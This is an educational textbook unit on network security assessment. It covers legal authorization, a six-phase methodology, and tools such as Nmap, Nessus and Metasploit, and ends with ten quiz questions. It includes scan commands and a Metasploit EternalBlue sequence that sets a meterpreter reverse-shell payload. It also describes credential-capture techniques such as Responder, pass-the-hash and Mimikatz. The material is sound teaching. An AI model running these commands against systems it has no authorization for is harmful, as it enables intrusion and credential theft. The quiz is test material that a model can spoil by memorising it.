UNIT 5: NETWORK SECURITY ASSESSMENT¶

Understanding How to Conduct Basic Network Security Assessments

5.1 Introduction to Network Security Assessment¶

5.1.1 What Is a Network Security Assessment?¶

A network security assessment is a systematic process of identifying, analyzing, and evaluating the security posture of a networked environment. The goal is to discover weaknesses — misconfigurations, unpatched software, design flaws, or procedural gaps — before malicious actors can exploit them.

Security assessments are not one-size-fits-all. They range from lightweight automated scans to multi-week, manually intensive engagements. Regardless of scope, every assessment shares a common purpose: to provide actionable intelligence that enables an organization to reduce its attack surface and improve its defenses.

Organizations conduct security assessments for a variety of reasons:

Regulatory compliance — Standards such as PCI DSS, HIPAA, SOC 2, and ISO 27001 require periodic security testing.
Risk management — Leadership needs objective data to make informed investment decisions about security controls.
Incident response readiness — Assessments reveal how far an attacker could move laterally after an initial breach.
Third-party assurance — Customers, partners, and investors often require evidence of a tested security program.
Change management — New network segments, applications, or acquisitions introduce unknown risks that must be evaluated.

5.1.2 A Brief History¶

Early network security assessments in the 1990s were informal exercises — seasoned administrators probing their own systems with homegrown scripts. As the internet expanded, the discipline matured into a recognized profession. Key milestones include:

1995 — The first public release of SATAN (Security Administrator Tool for Analyzing Networks), one of the first automated network scanning tools.
2001 — Release of Nessus as open-source software, democratizing vulnerability scanning.
2003 — Formation of the Open Web Application Security Project (OWASP).
2009 — PTES (Penetration Testing Execution Standard) published, providing the first widely adopted methodology framework.
2014 — NIST SP 800-115 Technical Guide to Information Security Testing and Assessment became a cornerstone reference for government and industry alike.

5.1.3 Core Terminology¶

Understanding the following terms is essential for this unit:

Core Security Assessment Terminology¶
Term	Definition
Asset	Any resource with value that must be protected (servers, data, services).
Threat	A potential cause of an unwanted incident that may result in harm.
Vulnerability	A weakness in a system or process that could be exploited by a threat.
Risk	The potential for loss expressed as the likelihood × impact of a threat exploiting a vulnerability.
Exploit	A piece of code or technique that takes advantage of a vulnerability.
Attack Surface	The sum of all points in a system where an attacker could attempt entry.
Remediation	The process of fixing or mitigating an identified vulnerability.
CVE	Common Vulnerabilities and Exposures — a standardized identifier for known vulnerabilities (e.g., CVE-2021-44228).
CVSS	Common Vulnerability Scoring System — a numerical score (0–10) rating the severity of a vulnerability.

5.2 Types of Security Assessments¶

Security assessments exist on a spectrum of depth, interactivity, and focus. Choosing the right type depends on business goals, timeline, budget, and regulatory requirements.

5.2.1 Vulnerability Assessment¶

A vulnerability assessment (VA) identifies and catalogs known vulnerabilities in a network or system. It is primarily discovery-oriented and does not involve active exploitation of findings.

Characteristics:

Typically automated using scanning tools (e.g., Nessus, OpenVAS, Qualys)
Produces a ranked list of vulnerabilities with severity scores
Low risk to production systems
Fast — can cover thousands of hosts in hours
Does not validate whether a vulnerability is actually exploitable

When to use: Routine hygiene checks, baseline establishment, pre-audit preparation.

5.2.2 Penetration Test¶

A penetration test (pentest) goes beyond scanning to simulate an adversary’s attack chain. Testers attempt to exploit discovered vulnerabilities to demonstrate real-world impact.

Characteristics:

Combines automated tools with manual analysis and creativity
Validates whether vulnerabilities are exploitable in context
Produces evidence of impact (screenshots, captured credentials, exfiltrated data)
Higher risk — requires careful scoping and change controls
Time-intensive (days to weeks)

When to use: Compliance requirements (PCI DSS Requirement 11.3), post-remediation validation, assessing resilience against sophisticated attackers.

5.2.3 Security Audit¶

A security audit evaluates an organization’s policies, procedures, and controls against a defined standard or framework (e.g., CIS Controls, NIST CSF, ISO 27001). It is primarily process-oriented rather than technically exploitative.

Characteristics:

Documentation review, interviews, and configuration inspection
Produces a compliance gap analysis
Low technical risk
Results tied to a specific framework or regulation

When to use: Annual compliance reviews, board-level risk reporting.

5.2.4 Red Team Assessment¶

A red team assessment is a full-scope adversary simulation. Unlike a pentest, which is bounded by a defined scope list, a red team engagement mimics a realistic threat actor — including social engineering, physical intrusion attempts, and evasion of defensive controls.

Characteristics:

Long duration (weeks to months)
Uses threat intelligence to mimic a specific adversary profile
Blue team (defenders) typically unaware — tests detection and response
Very high value for mature security programs
Requires extensive legal agreements and rules of engagement

When to use: Testing incident response capabilities, validating security operations center (SOC) effectiveness.

5.2.5 Comparison Summary¶

Assessment Type Comparison¶
Attribute	Vuln. Assessment	Penetration Test	Security Audit	Red Team
Exploitation	No	Yes	No	Yes (full)
Duration	Hours–Days	Days–Weeks	Days–Weeks	Weeks–Months
Automation	High	Mixed	Low	Low
Risk Level	Low	Medium	Low	High
Primary Output	Vuln. list	Exploit proof	Gap report	Attack narrative

5.3 Legal and Ethical Foundations¶

Warning

Critical Notice: Conducting any form of network scanning, probing, or exploitation against systems you do not own or have explicit written permission to test is illegal in most jurisdictions and may result in criminal prosecution under laws such as the U.S. Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, or the EU Network and Information Systems (NIS) Directive.

5.3.1 Rules of Engagement¶

Before any assessment begins, the assessor and client must agree on Rules of Engagement (ROE) — a written document that defines:

Scope — Specific IP ranges, domains, applications, and physical locations that are in-bounds. Everything not listed is out-of-bounds.
Timelines — Start and end dates, and permitted hours of testing.
Authorized techniques — Which attack categories are permitted (e.g., social engineering, denial-of-service testing may be explicitly excluded).
Emergency contacts — Escalation paths if a critical system is accidentally impacted.
Data handling — How sensitive data discovered during testing must be stored and destroyed.

5.3.2 Engagement Authorization Documents¶

A professional assessment requires at minimum:

Statement of Work (SOW) — Commercial agreement defining deliverables, timeline, and fees.
Non-Disclosure Agreement (NDA) — Protects the confidentiality of findings.
Permission to Test Letter — Explicit written authorization signed by an executive with authority over the in-scope systems. This document is the assessor’s legal protection.
Third-Party Notifications — If in-scope systems are hosted with a cloud provider (AWS, Azure, GCP), the provider’s own penetration testing policies must be reviewed and approval obtained where required.

5.3.3 Professional Codes of Conduct¶

Several organizations codify ethical expectations for security professionals:

(ISC)² — Code of Ethics for CISSP holders requires acting honorably, justly, and legally.
EC-Council — CEH certification binds holders to a code requiring they operate only within authorized scope.
PTES — The Penetration Testing Execution Standard emphasizes professional conduct, minimizing collateral damage, and honest reporting.

5.4 Assessment Methodology and Phases¶

A structured methodology ensures repeatability, completeness, and defensible documentation. The most widely referenced model divides an assessment into six distinct phases.

5.4.1 Phase 1 — Pre-Engagement¶

Pre-engagement is the planning and scoping phase that occurs before any technical testing begins. It establishes the foundation for a successful engagement.

Key activities:

Define objectives and success criteria with the client
Agree on scope, ROE, and timelines
Collect and execute legal authorization documents
Identify client points of contact and emergency procedures
Establish a secure communication channel (e.g., encrypted email, Signal)
Set up the assessment lab environment

Deliverable: Signed SOW, NDA, Permission to Test letter, and completed ROE.

5.4.2 Phase 2 — Reconnaissance¶

Reconnaissance (or recon) is the information-gathering phase. The objective is to learn as much about the target as possible to inform later attack planning. Recon is divided into passive and active techniques.

Passive Reconnaissance

Passive recon gathers information using publicly available sources without directly interacting with the target’s systems. Because there is no direct contact, passive recon is virtually undetectable.

Sources include:

WHOIS records — Domain registration details, registrant contact information, registration dates, and name server records.
DNS records — A, MX, NS, TXT, and CNAME records reveal infrastructure layout.
OSINT (Open Source Intelligence) — Social media, job postings (revealing technology stack), press releases, GitHub repositories, and Pastebin leaks.
Certificate Transparency Logs — Reveal all TLS certificates issued for a domain (crt.sh).
Google Dorks — Advanced search operators to find exposed files, login pages, and sensitive data indexed by search engines (e.g., site:target.com filetype:pdf).
Shodan / Censys — Search engines for internet-connected devices. They expose open ports, banners, and misconfigured services indexed from prior scans.
The Wayback Machine — Archived snapshots of websites may reveal old infrastructure, removed pages, or exposed credentials.

Active Reconnaissance

Active recon involves direct interaction with target systems. This is detectable and must be explicitly authorized.

Techniques include:

DNS zone transfer attempts — Querying authoritative name servers for a complete zone dump (dig axfr @ns1.target.com target.com).
Banner grabbing — Connecting to open ports to retrieve service version information (nc -nv 192.168.1.1 22).
Ping sweeps — Sending ICMP echo requests to identify live hosts.
Traceroute — Mapping the network path to a target to understand topology.
Web crawling — Spidering a website to identify all URLs, forms, and directories.

5.4.3 Phase 3 — Scanning and Enumeration¶

With a target list established through reconnaissance, the assessor now conducts scanning and enumeration to build a detailed technical picture of each asset.

Network Scanning

Network scanning identifies live hosts and open ports across the target IP range. The industry-standard tool is Nmap (Network Mapper).

Common Nmap scan types:

# Ping scan — discover live hosts
nmap -sn 192.168.1.0/24

# SYN scan (stealth scan) — most common, requires root
nmap -sS -p 1-65535 192.168.1.1

# Service and version detection
nmap -sV 192.168.1.1

# OS fingerprinting
nmap -O 192.168.1.1

# Full aggressive scan (OS, version, scripts, traceroute)
nmap -A 192.168.1.1

# Save output to all formats
nmap -oA scan_results 192.168.1.0/24

Understanding Port States:

Nmap Port States¶
State	Meaning
open	A service is actively listening and accepting connections.
closed	The port is accessible but no service is listening.
filtered	A firewall or filter is preventing responses — state cannot be determined.
open\|filtered	Nmap cannot determine if the port is open or filtered (common with UDP).

Service Enumeration

Once open ports are identified, the assessor enumerates each service in detail to understand what version is running and what misconfigurations exist.

Common protocols and their enumeration approaches:

SMB (port 445) — enum4linux or smbclient reveal shared folders, users, group memberships, and OS version. Null session attacks may expose sensitive information without authentication.
SNMP (port 161 UDP) — Default community strings (public, private) often grant read access to device configuration, routing tables, and interface information. Tool: snmpwalk.
SMTP (port 25) — The VRFY and EXPN commands may confirm valid email addresses (user enumeration).
FTP (port 21) — Anonymous login may permit unauthenticated file access.
HTTP/HTTPS (ports 80/443) — Web application fingerprinting with whatweb, Wappalyzer, or manual inspection of headers reveals CMS type, server version, and framework.
LDAP (port 389) — Anonymous LDAP bind queries may enumerate Active Directory users, groups, and organizational units.
RDP (port 3389) — Identify Remote Desktop Protocol exposure; check for BlueKeep (CVE-2019-0708) and DejaBlue (CVE-2019-1181) vulnerabilities.

5.4.4 Phase 4 — Vulnerability Analysis¶

With enumeration complete, the assessor correlates gathered information against known vulnerability databases to identify weaknesses.

Automated Vulnerability Scanning

Automated scanners plug enumeration results into large vulnerability databases to flag potential weaknesses. The leading tools are:

Nessus (Tenable) — Industry-standard commercial scanner. Supports credentialed scans (authenticated access) for deeper coverage.
OpenVAS / Greenbone — Open-source alternative to Nessus.
Qualys — Cloud-based SaaS scanner widely used for continuous monitoring.
Nexpose (Rapid7) — Integrates tightly with the Metasploit Framework.

Credentialed vs. Uncredentialed Scans

Scan Credential Comparison¶
Attribute	Uncredentialed	Credentialed
Access Level	External view only	Internal system access
Coverage	Open ports and banners	Installed packages, registry keys, patches
False Positive Rate	Higher	Lower
Intrusiveness	Moderate	Low (read-only access)
Best for	Attacker’s external view	Compliance and patch auditing

CVE and CVSS

Every identified vulnerability should be mapped to a CVE identifier where possible, and scored using the Common Vulnerability Scoring System (CVSS).

CVSS v3.1 Base Score components:

Attack Vector (AV): Network, Adjacent, Local, Physical

Attack Complexity (AC): Low, High

Privileges Required (PR): None, Low, High

User Interaction (UI): None, Required

Scope (S): Unchanged, Changed

Confidentiality (C), Integrity (I), Availability (A): None, Low, High

CVSS score ranges:

CVSS Severity Ratings¶
Score Range	Severity	Typical Action
0.0	None	No action required
0.1 – 3.9	Low	Patch in next maintenance cycle
4.0 – 6.9	Medium	Patch within 30 days
7.0 – 8.9	High	Patch within 7 days
9.0 – 10.0	Critical	Emergency patch immediately

Manual Vulnerability Analysis

Automated tools miss context-dependent vulnerabilities. Manual analysis includes:

Configuration review — Checking firewall rules, router ACLs, and switch configurations against security baselines (e.g., CIS Benchmarks).
Password policy review — Auditing minimum length, complexity, and lockout thresholds.
Credential testing — Attempting default or commonly used credentials against discovered services.
Logical vulnerability analysis — Reviewing network topology for trust relationships, flat network segments, or improper VLAN segmentation.

5.4.5 Phase 5 — Exploitation (Penetration Testing)¶

Note

Exploitation is only performed during authorized penetration tests. Vulnerability assessments and security audits do not include exploitation activities.

Exploitation confirms whether a discovered vulnerability is practically exploitable and demonstrates real-world impact to stakeholders.

The Metasploit Framework

Metasploit is the most widely used exploitation framework. It provides a structured environment for developing, testing, and executing exploit code.

Core Metasploit concepts:

# Launch Metasploit console
msfconsole

# Search for a module
search eternalblue

# Load a module
use exploit/windows/smb/ms17_010_eternalblue

# View required options
show options

# Set target
set RHOSTS 192.168.1.50

# Set payload
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100

# Execute the exploit
run

Post-Exploitation Concepts

After gaining initial access, a penetration tester explores what an attacker could achieve with that foothold:

Privilege escalation — Elevating from a standard user to administrator or root using local exploits, misconfigurations, or credential theft.
Lateral movement — Using obtained credentials or trust relationships to access additional systems.
Persistence — Establishing mechanisms to maintain access (e.g., scheduled tasks, registry keys) — documented but immediately removed after testing.
Data exfiltration simulation — Demonstrating the ability to extract sensitive data from the environment.
Pivoting — Using a compromised host as a relay to reach otherwise inaccessible network segments.

Password Attacks

Password weaknesses are among the most common exploitation paths:

Brute force — Systematically trying every possible combination.
Dictionary attack — Testing known word lists against hashed or live credentials.
Credential stuffing — Using leaked username/password pairs from prior data breaches.
Pass-the-Hash (PtH) — Authenticating to Windows systems using the NTLM password hash without knowing the plaintext password.
Kerberoasting — Requesting Kerberos service tickets for accounts with SPNs and cracking them offline.

Tools: Hashcat, John the Ripper, Hydra, Medusa.

Network Traffic Analysis

During an assessment (particularly on internal network segments), traffic analysis provides additional intelligence:

Wireshark — Graphical packet capture and protocol analysis.
tcpdump — Command-line packet capture.
Responder — Poisons LLMNR, NBT-NS, and MDNS broadcast queries to capture NTLMv2 hashes from Windows hosts.

5.4.6 Phase 6 — Reporting¶

The report is the primary deliverable of any security assessment. A finding that cannot be clearly communicated to decision-makers has little value.

Report Structure

A professional assessment report includes:

Executive Summary — 1–2 pages for non-technical leadership. Covers overall risk posture, critical findings count, and top remediation priorities. Avoids technical jargon.
Scope and Methodology — Documents tested systems, testing dates, tools used, and methodology followed (e.g., PTES, NIST SP 800-115).
Findings — The main body of the report. Each finding should include:
- Title — Concise, descriptive name
- Severity — Critical / High / Medium / Low / Informational
- CVSS Score — Where applicable
- CVE Reference — Where applicable
- Affected Systems — Specific hosts or services impacted
- Description — What the vulnerability is and how it works
- Evidence — Screenshots, command output, or captured data proving exploitability
- Business Impact — What an attacker could achieve
- Remediation Recommendation — Specific, actionable steps to fix the issue
Risk Summary Matrix — A visual table or heat map showing all findings by severity.
Remediation Roadmap — Prioritized action plan with suggested timelines.
Appendices — Raw tool output, scan logs, and supporting technical data.

Writing Effective Findings

FINDING EXAMPLE
────────────────────────────────────────────────────────
Title:    SMB EternalBlue (MS17-010) — Remote Code Execution
Severity: Critical
CVSS:     9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE:      CVE-2017-0144
Systems:  192.168.10.15 (WIN-FILESERVER01)

Description:
The target host is running an unpatched version of Windows Server 2008 R2
that is vulnerable to the EternalBlue exploit targeting the SMBv1 protocol.
This vulnerability allows an unauthenticated remote attacker to execute
arbitrary code with SYSTEM-level privileges.

Evidence:
[Screenshot: meterpreter shell with "getuid" output showing NT AUTHORITY\SYSTEM]

Business Impact:
An attacker with SYSTEM-level access to the file server could access,
modify, or destroy all data stored on the system, pivot to other internal
hosts using captured credentials, and deploy ransomware across the domain.

Remediation:
1. Apply Microsoft Security Bulletin MS17-010 immediately.
2. Disable SMBv1 via Group Policy or PowerShell:
   Set-SmbServerConfiguration -EnableSMB1Protocol $false
3. Block inbound TCP 445 at the perimeter firewall.
────────────────────────────────────────────────────────

5.5 Common Network Vulnerabilities¶

This section provides an overview of the most frequently encountered vulnerability categories in network security assessments.

5.5.1 Unpatched Software and Missing Patches¶

Failure to apply vendor-released patches is consistently the leading cause of successful network intrusions. High-profile examples include:

MS17-010 (EternalBlue) — Exploited by the WannaCry ransomware in 2017, infecting over 200,000 systems across 150 countries.
Log4Shell (CVE-2021-44228) — Critical RCE vulnerability in the Apache Log4j logging library, affecting millions of Java-based applications.
ProxyLogon (CVE-2021-26855) — Pre-authentication RCE in Microsoft Exchange, exploited by multiple nation-state actors.

Remediation: Implement an automated patch management program. Define SLAs for patching based on severity (e.g., critical patches within 24–72 hours).

5.5.2 Default and Weak Credentials¶

Many network devices (routers, switches, printers, IoT devices) ship with default factory credentials that administrators fail to change. Common examples:

admin:admin, admin:password, cisco:cisco
Blank password fields on management interfaces
Shared service account passwords used across multiple systems

Remediation: Mandate credential changes during device provisioning. Implement a privileged access management (PAM) solution for centralized credential vaulting.

5.5.3 Unnecessary Open Services and Ports¶

Exposing services that are not required for business operations increases the attack surface. Common unnecessary exposures:

Telnet (port 23) — Unencrypted alternative to SSH
FTP (port 21) — Unencrypted file transfer
SNMP v1/v2 with default community strings
Management interfaces exposed to the internet (RDP, SSH, web panels)

Remediation: Follow the principle of least functionality — disable or uninstall all services not required for the device’s intended purpose.

5.5.4 Improper Network Segmentation¶

A flat network — where all hosts can communicate freely with all other hosts — allows an attacker who compromises a single workstation to reach critical servers and infrastructure.

Proper segmentation uses VLANs, firewalls, and access control lists (ACLs) to enforce communication policies. The Zero Trust model extends this principle by requiring verification for every connection regardless of network location.

Remediation: Segment the network by function and sensitivity (user workstations, servers, management, IoT, DMZ). Implement stateful firewall rules between segments.

5.5.5 Weak Encryption and Deprecated Protocols¶

Continued use of deprecated cryptographic protocols exposes network traffic to interception and decryption.

Deprecated vs. Recommended Protocols¶
Function	Deprecated (Avoid)	Recommended
Web traffic	SSL 2.0, SSL 3.0, TLS 1.0, TLS 1.1	TLS 1.2, TLS 1.3
Remote admin	Telnet, rlogin, rsh	SSH v2
File transfer	FTP, TFTP	SFTP, FTPS, SCP
VPN	PPTP, L2TP (no IPsec)	IKEv2/IPsec, WireGuard, OpenVPN
Wireless	WEP, WPA (TKIP)	WPA3, WPA2 (AES-CCMP)
SNMP	SNMPv1, SNMPv2c	SNMPv3 (authPriv mode)

5.5.6 DNS and ARP Vulnerabilities¶

DNS Cache Poisoning — Injecting malicious DNS records into a resolver’s cache, redirecting users to attacker-controlled servers. Mitigated by DNSSEC.
DNS Zone Transfer — Misconfigured DNS servers may allow any host to request a complete copy of the zone file, exposing internal hostnames and IP addresses.
ARP Spoofing / Poisoning — An attacker broadcasts forged ARP replies to associate their MAC address with a legitimate IP, enabling man-in-the-middle attacks on a local segment. Mitigated by Dynamic ARP Inspection (DAI) on managed switches.

5.6 Assessment Tools Reference¶

5.6.1 Reconnaissance Tools¶

Tool	Description
theHarvester	OSINT tool gathering emails, subdomains, and hosts from public sources.
Maltego	Graph-based OSINT and link analysis platform.
Recon-ng	Modular web reconnaissance framework similar to Metasploit.
Shodan	Search engine indexing internet-connected devices by banner and service.
crt.sh	Certificate transparency log search to enumerate subdomains.
DNSrecon	DNS enumeration tool supporting zone transfer, reverse lookup, and brute force.

5.6.2 Scanning and Enumeration Tools¶

Tool	Description
Nmap	Industry-standard port scanner with scripting engine (NSE).
Masscan	Extremely fast port scanner capable of scanning the entire internet.
Netcat	Versatile networking utility for banner grabbing and simple connectivity tests.
enum4linux	SMB enumeration tool for Windows/Samba hosts.
snmpwalk	SNMP MIB traversal for network device enumeration.
Nikto	Web server scanner detecting misconfigurations and outdated software.
Gobuster	Directory and file brute-forcing for web servers.

5.6.3 Vulnerability Scanning Tools¶

Tool	Description
Nessus	Comprehensive commercial vulnerability scanner by Tenable.
OpenVAS	Open-source vulnerability scanner and management framework.
Qualys	Cloud-based continuous vulnerability management platform.
Nexpose	Rapid7 vulnerability scanner integrating with Metasploit.

5.6.4 Exploitation Tools¶

Tool	Description
Metasploit Framework	Leading open-source exploitation framework with hundreds of modules.
SQLmap	Automated SQL injection detection and exploitation.
Burp Suite	Integrated platform for web application security testing.
Responder	LLMNR/NBT-NS poisoner for capturing Windows credentials.
CrackMapExec	Post-exploitation tool for Active Directory environments.
Impacket	Python library implementing Windows network protocols for attack simulation.

5.6.5 Password Cracking Tools¶

Tool	Description
Hashcat	GPU-accelerated password cracking supporting 300+ hash types.
John the Ripper	Versatile password cracker with auto-detection of hash types.
Hydra	Online brute-force tool supporting 50+ protocols.
Mimikatz	Post-exploitation tool for credential extraction from Windows memory.

5.7 Defensive Countermeasures¶

An assessor must understand defensive technologies to properly evaluate their effectiveness and provide meaningful remediation guidance.

5.7.1 Intrusion Detection and Prevention Systems¶

IDS (Intrusion Detection System) — Monitors network traffic for suspicious patterns and generates alerts. Passive — does not block traffic.
IPS (Intrusion Prevention System) — Extends IDS by actively blocking malicious traffic inline. Active — can block legitimate traffic if misconfigured (false positives).
NIDS (Network-based) — Monitors traffic at a network chokepoint (e.g., Snort, Suricata).
HIDS (Host-based) — Monitors system calls, file integrity, and logs on individual hosts (e.g., OSSEC, Wazuh).

5.7.2 Firewalls¶

Packet filter — Evaluates packets based on source/destination IP and port. Stateless; does not track connection state.
Stateful firewall — Tracks the state of TCP connections; allows return traffic for established sessions automatically.
Next-generation firewall (NGFW) — Adds application awareness, user identity integration, and SSL inspection (e.g., Palo Alto Networks, Fortinet).
Web Application Firewall (WAF) — Inspects HTTP/HTTPS traffic specifically, blocking OWASP Top 10 attacks (e.g., SQL injection, XSS).

5.7.3 Network Access Control (NAC)¶

NAC enforces security policy before allowing devices to join the network. Devices are assessed for compliance (patch level, AV status, certificate validity) and placed in appropriate VLANs based on their posture. Non-compliant devices may be quarantined or given limited remediation access.

5.7.4 Security Information and Event Management (SIEM)¶

A SIEM aggregates log data from across the environment (firewalls, servers, endpoints, applications) and applies correlation rules and machine learning to detect threats. During a penetration test, testers should evaluate whether the SIEM generates alerts for their activities. Examples: Splunk, Microsoft Sentinel, IBM QRadar.

5.7.5 Hardening Baselines¶

Security hardening reduces the attack surface by configuring systems according to defined baselines:

CIS Benchmarks — Industry-standard configuration guides for 100+ platforms (Windows, Linux, network devices, cloud services).
DISA STIGs — U.S. Department of Defense Security Technical Implementation Guides, extremely detailed technical hardening requirements.
NIST SP 800-53 — Security and privacy controls for federal information systems.

5.8 Reporting and Remediation Follow-Up¶

5.8.1 Communicating Risk to Stakeholders¶

Technical findings must be translated into business language for executive audiences:

Express impact in terms of data loss, regulatory fines, reputational damage, and operational downtime — not CVE scores.
Use a risk heat map to visually communicate the landscape.
Quantify risk where possible using frameworks like FAIR (Factor Analysis of Information Risk).

5.8.2 Remediation Prioritization¶

Not all vulnerabilities can be patched simultaneously. Use a risk-based approach:

Critical and High findings — Address immediately, especially those with known public exploits or internet-exposed services.
Medium findings — Patch within 30 days; implement compensating controls if patching is delayed.
Low and Informational — Address during normal maintenance cycles.

Compensating controls are alternative measures deployed when primary remediation (e.g., patching) is not immediately feasible — for example, adding firewall rules to block external access to a vulnerable service while the patch is tested.

5.8.3 Re-Assessment and Validation¶

After remediation, a re-assessment (or re-test) verifies that fixes were applied correctly and did not introduce new vulnerabilities. Clients should receive an updated report confirming which findings were remediated, which remain open, and whether any new findings were discovered during validation.

5.9 Chapter Summary¶

This unit introduced the discipline of network security assessment — its purpose, types, methodology, tools, and ethical obligations. The key takeaways are:

Security assessments exist on a spectrum from lightweight vulnerability scans to full red team simulations. Choosing the correct type depends on business objectives and security maturity.
Authorization is absolute. No technical activity may begin without signed documentation confirming explicit permission to test.
The six-phase methodology — Pre-Engagement, Reconnaissance, Scanning and Enumeration, Vulnerability Analysis, Exploitation, and Reporting — provides a structured, repeatable approach.
Passive reconnaissance gathers publicly available information with no direct target interaction. Active reconnaissance involves direct interaction and is detectable.
Vulnerability scanners automate detection but must be supplemented with manual analysis to eliminate false positives and identify context-dependent weaknesses.
The final report is the most important deliverable. It must communicate technical findings in a way that enables both technical and non-technical audiences to take informed action.
Defensive knowledge — firewalls, IDS/IPS, SIEM, NAC, and hardening baselines — is essential for providing meaningful remediation recommendations.

5.10 Key Terms¶

Attack Surface¶: The sum total of all points in a system or network where an unauthorized user could attempt to enter or extract data.
Banner Grabbing¶: A technique used to gather information about a networked service by connecting to its port and reading the service’s response header.
CVSS (Common Vulnerability Scoring System)¶: An open framework for communicating the characteristics and severity of software vulnerabilities, producing scores between 0.0 and 10.0.
CVE (Common Vulnerabilities and Exposures)¶: A standardized list of publicly known cybersecurity vulnerabilities, each assigned a unique identifier (e.g., CVE-2021-44228).
Enumeration¶: The process of actively probing a target to extract detailed information about services, users, shares, and configurations.
Exploit¶: Code or a technique that takes advantage of a vulnerability to cause unintended behavior, typically gaining unauthorized access.
Lateral Movement¶: Post-exploitation technique where an attacker moves from a compromised system to other systems within the same network.
OSINT¶: Open Source Intelligence — information gathered from publicly available sources for intelligence and reconnaissance purposes.
Passive Reconnaissance¶: Information gathering that does not involve direct interaction with the target system; undetectable by the target.
Penetration Test¶: An authorized simulated attack against a system or network designed to identify exploitable vulnerabilities and demonstrate real-world impact.
Privilege Escalation¶: The act of exploiting a vulnerability to gain higher-level permissions than initially granted.
Rules of Engagement (ROE)¶: A document defining the authorized scope, permitted techniques, timelines, and emergency procedures for a security assessment.
SIEM¶: Security Information and Event Management — a platform that aggregates and correlates security log data from multiple sources to detect threats.
Vulnerability Assessment¶: A process of identifying and cataloging vulnerabilities in a system or network without actively attempting to exploit them.
Zero Trust¶: A security model that requires verification of every user and device attempting to access resources, regardless of network location.

5.11 Further Reading and References¶

NIST SP 800-115 — Technical Guide to Information Security Testing and Assessment, National Institute of Standards and Technology. https://csrc.nist.gov/publications/detail/sp/800-115/final
PTES (Penetration Testing Execution Standard) — Comprehensive methodology framework for penetration tests. http://www.pentest-standard.org/
OWASP Testing Guide — Authoritative reference for web application security testing. https://owasp.org/www-project-web-security-testing-guide/
NIST National Vulnerability Database (NVD) — Searchable CVE database with CVSS scores and remediation guidance. https://nvd.nist.gov/
CIS Benchmarks — Free downloadable hardening guides for hundreds of platforms. https://www.cisecurity.org/cis-benchmarks/
Metasploit Unleashed — Free, comprehensive Metasploit training from Offensive Security. https://www.offsec.com/metasploit-unleashed/
Shodan — Internet device search engine used in passive reconnaissance. https://www.shodan.io/
Mitre ATT&CK Framework — A curated knowledge base of adversary tactics, techniques, and procedures (TTPs). https://attack.mitre.org/

Note

Instructions: Select the single best answer for each question. References indicate the section of this chapter where the answer can be verified.

Question 1

An organization has received a mandate from their payment card processor requiring evidence that their cardholder data environment has been tested by a qualified security professional who attempted to actively exploit discovered vulnerabilities. Which type of assessment best satisfies this requirement? Reference: Section 5.2.2 — Penetration Test

Security audit

Vulnerability assessment

Penetration test

Red team assessment

Question 2

A security assessor uses crt.sh and Google dork operators to gather information about a client’s internet-facing infrastructure before the engagement begins. The client’s IDS shows no alerts during this phase. Which type of reconnaissance is the assessor conducting, and why is it undetected? Reference: Section 5.4.2 — Phase 2: Reconnaissance (Passive Reconnaissance)

Active reconnaissance, because the assessor is not exploiting any vulnerabilities

Passive reconnaissance, because the assessor is using public sources without directly interacting with the client’s systems

Active reconnaissance, because the assessor is targeting the client’s specific domain

Passive reconnaissance, because the assessor has not yet received authorization to test

Question 3

During a vulnerability scan of an internal Windows environment, a scanner reports that a host is potentially vulnerable to CVE-2017-0144 (MS17-010). The CVSS base score is 9.8. According to the CVSS severity rating table, what is the appropriate remediation timeline and priority classification for this finding? Reference: Section 5.4.4 — Vulnerability Analysis, CVSS Severity Ratings table

Medium severity — patch within 30 days

High severity — patch within 7 days

Critical severity — emergency patch immediately

Low severity — address in the next maintenance cycle

Question 4

Which of the following Nmap command options enables both service version detection AND operating system fingerprinting in a single scan? Reference: Section 5.4.3 — Scanning and Enumeration (Network Scanning)

nmap -sS 192.168.1.1

nmap -sn 192.168.1.0/24

nmap -A 192.168.1.1

nmap -oA 192.168.1.1

Question 5

A penetration tester has compromised a workstation on the user VLAN and discovers that they can freely reach financial servers, domain controllers, and industrial control systems on the same subnet without any firewall enforcement. Which network security weakness does this scenario most directly illustrate? Reference: Section 5.5.4 — Improper Network Segmentation

Missing host-based firewall on the workstation

Use of deprecated encryption protocols

Improper network segmentation (flat network)

Weak credential policy on the domain controller

Question 6

An assessor is reviewing a security report and notices a finding that states the target’s SMTP server responds to the VRFY command, confirming whether a given username exists on the system. Under which assessment phase and protocol category does this finding belong? Reference: Section 5.4.3 — Scanning and Enumeration (Service Enumeration)

Exploitation phase — FTP enumeration

Scanning and Enumeration phase — SMTP user enumeration

Reconnaissance phase — passive DNS analysis

Vulnerability Analysis phase — automated scanner output

Question 7

Which of the following documents provides an assessor with direct legal protection when conducting an authorized penetration test, and must be signed by an executive with authority over the in-scope systems? Reference: Section 5.3.2 — Engagement Authorization Documents

Non-Disclosure Agreement (NDA)

Statement of Work (SOW)

Permission to Test Letter

Rules of Engagement (ROE)

Question 8

An attacker on a local network segment sends forged ARP reply packets associating their own MAC address with the IP address of the default gateway, causing all traffic from nearby hosts to pass through the attacker’s machine. Which attack technique is described, and what is the recommended mitigation? Reference: Section 5.5.6 — DNS and ARP Vulnerabilities

DNS Cache Poisoning — mitigated by DNSSEC

ARP Spoofing — mitigated by Dynamic ARP Inspection (DAI) on managed switches

VLAN Hopping — mitigated by disabling Dynamic Trunking Protocol (DTP)

LLMNR Poisoning — mitigated by disabling LLMNR in Group Policy

Question 9

A credentialed vulnerability scan and an uncredentialed vulnerability scan are both run against the same Windows server. Which of the following outcomes is most accurately predicted by the information in this chapter? Reference: Section 5.4.4 — Credentialed vs. Uncredentialed Scans table

The uncredentialed scan will have lower false positive rates because it mirrors what an external attacker would see.

The credentialed scan will produce higher false positive rates because it has access to more data.

The uncredentialed scan will have higher false positive rates because it relies on banner information rather than confirmed installed package versions.

Both scans will produce identical results since they target the same host.

Question 10

A security assessor has completed a penetration test and is drafting the final report. The executive sponsor has requested a section they can share with the board of directors without requiring them to understand CVE identifiers or CVSS scores. Which report section best satisfies this requirement? Reference: Section 5.4.6 — Phase 6: Reporting (Report Structure)

Findings — because it documents each vulnerability in detail

Appendices — because they contain raw tool output for reference

Scope and Methodology — because it explains what systems were tested

Executive Summary — because it covers overall risk posture for non-technical leadership without technical jargon

End of Unit 5

© This material is provided for educational purposes. All tool usage described herein must be performed only in authorized environments. Unauthorized scanning or exploitation of computer systems is illegal.